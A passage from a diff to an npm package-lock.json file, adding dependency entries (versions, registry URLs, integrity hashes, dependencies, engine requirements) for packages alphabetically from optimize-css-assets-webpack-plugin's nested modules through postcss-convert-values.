"https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.0.5.tgz", + "integrity": "sha512-94j37OtvxS5w7qr7Ta6dt67tWdnOxigBVN4VnSxNXFez9o18PGQ0D33SchKP17r9LAcWVTYV72G6vDayAUBFIg==", + "dev": true, + "dependencies": { + "is-directory": "^0.3.1", + "js-yaml": "^3.9.0", + "parse-json": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/cssnano": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-4.0.5.tgz", + "integrity": "sha512-P2O0sz/YAAzqZVsSWOrbliPCr0c6abwVNQmFZ48AgejN/GbzwEf6IVFGQAj0UKHC+crv60wUAPQocAnDmeWlkg==", + "dev": true, + "dependencies": { + "cosmiconfig": "^5.0.0", + "cssnano-preset-default": "^4.0.0", + "is-resolvable": "^1.0.0", + "postcss": "^6.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/js-yaml": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", + "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", + "dev": true, + "dependencies": { + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/optionator": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.2.tgz", + "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", + "dev": true, + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.4", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "wordwrap": "~1.0.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/ora": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", + "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", + "peer": true, + "dependencies": { + "bl": "^4.1.0", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.5.0", + "is-interactive": "^1.0.0", + "is-unicode-supported": "^0.1.0", + "log-symbols": "^4.1.0", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/ora/node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "peer": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/ora/node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "peer": true, + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ora/node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "peer": true, + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/ora/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/ora/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "peer": true + }, + "node_modules/ora/node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "peer": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/ora/node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "peer": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/readable-stream": { + "version": "3.6.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", + "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "peer": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/ora/node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "peer": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "peer": true + }, + "node_modules/ora/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "peer": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/ora/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/os-browserify": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz", + "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=", + "dev": true + }, + "node_modules/os-homedir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", + "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/os-locale": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", + "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", + "dev": true, + "dependencies": { + "lcid": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/os-tmpdir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/osenv": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", + "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", + "dev": true, + "dependencies": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, + "node_modules/outpipe": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/outpipe/-/outpipe-1.1.1.tgz", + "integrity": "sha1-UM+GFjZeh+Ax4ppeyTOaPaRyX6I=", + "dev": true, + "dependencies": { + "shell-quote": "^1.4.2" + } + }, + "node_modules/output-file-sync": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/output-file-sync/-/output-file-sync-1.1.2.tgz", + "integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.4", + "mkdirp": "^0.5.1", + "object-assign": "^4.1.0" + } + }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", + "engines": { + "node": ">=4" + } + }, + "node_modules/p-limit": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", + "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", + "dev": true, + "dependencies": { + "p-try": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/p-locate": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", + "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", + "dev": true, + "dependencies": { + "p-limit": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/p-try": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", + "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/pako": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.6.tgz", + "integrity": "sha512-lQe48YPsMJAig+yngZ87Lus+NF+3mtu7DVOBu6b/gHO1YpKwIj5AWjZ/TOS7i46HD/UixzWb1zeWDZfGZ3iYcg==", + "dev": true + }, + "node_modules/parallel-transform": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz", + "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", + "dev": true, + "dependencies": { + "cyclist": "~0.2.2", + "inherits": "^2.0.3", + "readable-stream": "^2.1.5" + } + }, + "node_modules/parents": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parents/-/parents-1.0.1.tgz", + "integrity": "sha1-/t1NK/GTp3dF/nHjcdc8MwfZx1E=", + "dev": true, + "dependencies": { + "path-platform": "~0.11.15" + } + }, + "node_modules/parse-asn1": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.0.tgz", + "integrity": "sha1-N8T5t+06tlx0gXtfJICTf7+XxxI=", + "dev": true, + "dependencies": { + "asn1.js": "^4.0.0", + "browserify-aes": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.0", + "pbkdf2": "^3.0.3" + } + }, + "node_modules/parse-function": { + "version": "5.6.10", + "resolved": "https://registry.npmjs.org/parse-function/-/parse-function-5.6.10.tgz", + "integrity": "sha512-mrMwHEIn8mCgTTZxCVtXbcv8+Suf13z+81004BupjoAfZfIuwEzOYy9NNS3xKYXRRVR7Ej1sjvgjjcqQmYGK4A==", + "dev": true, + "funding": [ + "https://ko-fi.com/tunnckoCore/commissions", + "https://github.com/sponsors/tunnckoCore", + "https://patreon.com/tunnckoCore", + "https://tidelift.com/funding/github/npm/parse-function" + ], + "dependencies": { + "@babel/parser": "^7.8.3", + "arrify": "^2.0.1" + }, + "engines": { + "node": ">=8.11" + } + }, + "node_modules/parse-function/node_modules/arrify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz", + "integrity": "sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/parse-glob": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/parse-glob/-/parse-glob-3.0.4.tgz", + "integrity": "sha1-ssN2z7EfNVE7rdFz7wu246OIORw=", + "dev": true, + "dependencies": { + "glob-base": "^0.3.0", + "is-dotfile": "^1.0.0", + "is-extglob": "^1.0.0", + "is-glob": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/parse-json": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", + "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", + "dev": true, + "dependencies": { + "error-ex": "^1.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/partialify": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/partialify/-/partialify-3.1.6.tgz", + "integrity": "sha1-f0QPHe6SqFVT9YTgK9koBXA0fRg=", + "dev": true, + "dependencies": { + "string-to-js": "0.0.1", + "through": "^2.3.4" + } + }, + "node_modules/pascalcase": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", + "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-browserify": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.0.tgz", + "integrity": "sha1-oLhwcpquIUAFt9UDLsLLuw+0RRo=", + "dev": true + }, + "node_modules/path-dirname": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", + "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", + "dev": true + }, + "node_modules/path-exists": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", + "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", + "dev": true, + "dependencies": { + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-is-inside": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", + "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", + "dev": true + }, + "node_modules/path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", + "engines": { + "node": ">=4" + } + }, + "node_modules/path-parse": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", + "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==" + }, + "node_modules/path-platform": { + "version": "0.11.15", + "resolved": "https://registry.npmjs.org/path-platform/-/path-platform-0.11.15.tgz", + "integrity": "sha1-6GQhf3TDaFDwhSt43Hv31KVyG/I=", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/path-type": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", + "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pbkdf2": { + "version": "3.0.12", + "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.12.tgz", + "integrity": "sha1-vjZ4XFBn6kjYBv+SMojF91C2uKI=", + "dev": true, + "dependencies": { + "create-hash": "^1.1.2", + "create-hmac": "^1.1.4", + "ripemd160": "^2.0.1", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", + "dev": true + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "dev": true, + "dependencies": { + "pinkie": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz", + "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==", + "peer": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-dir": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz", + "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", + "dev": true, + "dependencies": { + "find-up": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/pkg-dir/node_modules/find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "dev": true, + "dependencies": { + "locate-path": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/pluralize": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", + "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/popper.js": { + "version": "1.14.4", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.14.4.tgz", + "integrity": "sha1-juwdj/AqWjoVLdQ0FKFce3n9abY=", + "deprecated": "You can find the new Popper v2 at @popperjs/core, this package is dedicated to the legacy v1" + }, + "node_modules/posix-character-classes": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", + "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss": { + "version": "5.2.18", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-5.2.18.tgz", + "integrity": "sha512-zrUjRRe1bpXKsX1qAJNJjqZViErVuyEkMTRrwu4ud4sbTtIBRmtaYDrHmcGgmrbsW3MHfmtIf+vJumgQn+PrXg==", + "dev": true, + "dependencies": { + "chalk": "^1.1.3", + "js-base64": "^2.1.9", + "source-map": "^0.5.6", + "supports-color": "^3.2.3" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/postcss-calc": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-5.3.1.tgz", + "integrity": "sha1-d7rnypKK2FcW4v2kLyYb98HWW14=", + "dev": true, + "dependencies": { + "postcss": "^5.0.2", + "postcss-message-helpers": "^2.0.0", + "reduce-css-calc": "^1.2.6" + } + }, + "node_modules/postcss-colormin": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-2.2.2.tgz", + "integrity": "sha1-ZjFBfV8OkJo9fsJrJMio0eT5bks=", + "dev": true, + "dependencies": { + "colormin": "^1.0.5", + "postcss": "^5.0.13", + "postcss-value-parser": "^3.2.3" + } + }, + "node_modules/postcss-convert-values": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-2.6.1.tgz", + 